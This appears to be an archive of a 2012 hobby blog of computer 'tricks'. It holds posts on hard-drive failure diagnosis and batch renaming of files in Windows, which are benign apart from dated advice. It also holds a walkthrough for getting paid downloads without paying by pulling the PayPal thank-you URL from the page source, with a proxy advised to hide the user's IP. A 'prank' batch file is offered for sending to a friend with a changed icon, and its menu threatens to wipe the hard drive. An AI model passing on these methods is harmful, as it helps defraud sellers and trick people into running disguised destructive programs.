Thursday, September 27, 2012

Hard drive gone bad and slow - trick is here

The most common problems originate from corruption of the master boot record, FAT, or directory. Those are soft problems which can usually be taken care of with a combination of tools like Fdisk /mbr to refresh the master boot record followed by a reboot and Norton disk doctor or Spinneret.

The most common hardware problems are a bad controller, a bad drive motor, or a bad head mechanism.

1. Can the BIOS see and identify the hard drive correctly? If it can't, then the hard drives onboard controller is bad.

2. Does the drive spin and maintain a constant velocity? If it does, that's good news. The motor is functioning.

3. If the drive surges and dies, the most likely cause is a bad controller (assuming the drive is cool). A gate allowing the current to drive the motor may not be staying open. The drive needs a new controller.

4. Do you hear a lot of head clatter when the machine is turned on and initialized (but before the system attempts to access the hard drive). Head clatter would indicate that the spindle bearings are sloppy or worn badly. Maybe even lose and flopping around inside.

5. There is always the possibility that the controller you are using in the machine has gone south.

1. If the drive spins, try booting to the A> prompt, run Fdisk and check to see if Fdisk can see a partition on the hard drive. If Fdisk can see the partition, that means that it can access the drive and that the controller electronics are functioning correctly. If there is no head clatter, it may be just a matter of disk corruption which commonly occurs when a surge hits you machine and overwhelms the power supply voltage regulator. It commonly over whelms the system electronics allowing an EM pulse to wipe out the master boot record, file allocations table, and primary directory. Fdisk can fix the master boot record and Norton Disk Doctor can restore the FAT and Directory from the secondaries.

2. The drive spins but Fdisk can't see it. Try the drive in another system and repeat the test to confirm that Fdisk can't read through the drives onboard controller. If it sees it in another system, then your machines hard drive interface is bad. You can try an upgraded or replacement controller card like a Promise or CMD Technologies (there are others) in you machine after disabling the integrated controller in the BIOS, but if the integrated controller went south, it may just be symptomatic of further failures and you'd be wise to replace the motherboard. Trying the drive in another machine also eliminates the variable that your machines 12 volt power output being bad

3. If you get head clatter but a constant velocity on the drive motor (no surging), you might try sticking the hard drive in the freezer for about 12 hours. This is an old trick from back in the days of the MFM/ESDI driver era. This can cause the drive components to shrink enough to make the track marker align with the tracks. We don't see that kind of platter spindle wear much anymore, but back in the old days, the balancing and bearings weren't as good. Still, under the right circumstances, it might help. It would depend on how old the drive is and how many hours of wear have occurred. You have to be quick to get your info off the drive when it works. Back then, the drives were much smaller, so there wasn't so much to copy. So, go after the important data first.

4. The drive doesn't spin. Either the onboard controller is bad or the motor is bad (assuming you did try the drive in another machine). It's time to hit the net and local independent shops to see if you can locate another drive of the same make and model that's good. Since the drive is probably an older drive and no longer in distribution, your best bet is to find an identical used drive. If you know someone with the same make and model, you might be wise to try and persuade them to sell you their drive with an offer of providing them with a free upgraded drive. If you can locate an identical drive, start with the controller replacement ... this is the simplest and least invasive. If swapping the controller doesn't produce the desire result, you can tear into the drive and swap the motors. While you have both drive opened up to accomplish this, scrutinize the platters, heads and armatures. You might even hook the drive up and power it from a system with both drives attached. This way, you could see anything that deviates between the actions of both drives when they are initialized. Swapping patters is unlikely to produce any positive result. They are a balanced system like the tires on your car and I suspect that the balance will be different for each drive as will other variables.

5. There's always Ontrack Corp. who will attempt to recoup your info starting at $500 and going up from there. They don't fix and return the drive either.

If the info is all that important to you, I would seek some professional and experience technician in your locality who makes his living from servicing and building computer systems ... not just selling them. If you have had much experience salvaging information from bad hard drives, your likelihood of success is low. In the case of soft corruption, all utilities have their eccentricities. Often times, Norton Disk Doctor will go too far (if you let it). It's wise to just let those utilities small steps and then have a look at the drive and see if you can copy it off. Norton will go so far as to rename directories and files, and even delete them or break them up into fragments which are useless. _________________
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Friday, September 21, 2012

How to recharge mobile for free without any investment or make money online and free movie tickets also | Hacking Tips and Trickz

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How to format your computer using Bootable pandrive / USB port / USB Format | Hacking Tips and Trickz

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Trick to download from a paypal site without paying a penny

Just a little basic html tip for those who are trying to download an application from sites which has an paypal order page & link to start you off.

Use a proxy when you try this to hide your ip as some sites will record your ip when you connect for security.

1) Rightclick your mouse (ctrl+click) viewsource and open the source of the site in an a texteditor
2) Search for the word "return"
3) Next to it you can find the url for the thank you page
4) Copy the url and paste it in your browser and you will see the download link

This works only if you can download instantly after payment, it will not work if the link needs to be emailed to you.

You can try it here to start with: Code: http://www.ramphelp.com/halfpipe.html

About half way down the page you will find:


Copy the link into your browser and download.
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Wednesday, September 19, 2012

Hard prank: ---fool your Friends

Hard prank:
Pick your poison batch file.
It asks your friend to choose a number between 1-5 and
then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two


Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there
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Rename a Series of Files in windows



When you connect your digi cam to your computer you see many files named in series like md101, md102 and so on.
You can do this thing by yourself on other files too.

To do this

• Open any folder containing files that you want to rename.

• Select the files you want to rename.
If the files you want are not adjacent in the file list, press and hold Ctrl, and then click each item to select it.

• On the File menu, click Rename.

• Type the new name, and then press ENTER.

• All of the files in the series will be named in sequence using the new name you type. For example, if you type ABCD, the first will be named ABCD and subsequent files in the series will be named ABCD(1), ABCD(2), and so on.

• To specify the starting number for the series, type the starting number in parentheses after the new file name.

The files in the series will be numbered in
sequence starting with the number you type.
For example, if you type ABCD(10), the other files will be named ABCD(11), ABCD(12), and so on.
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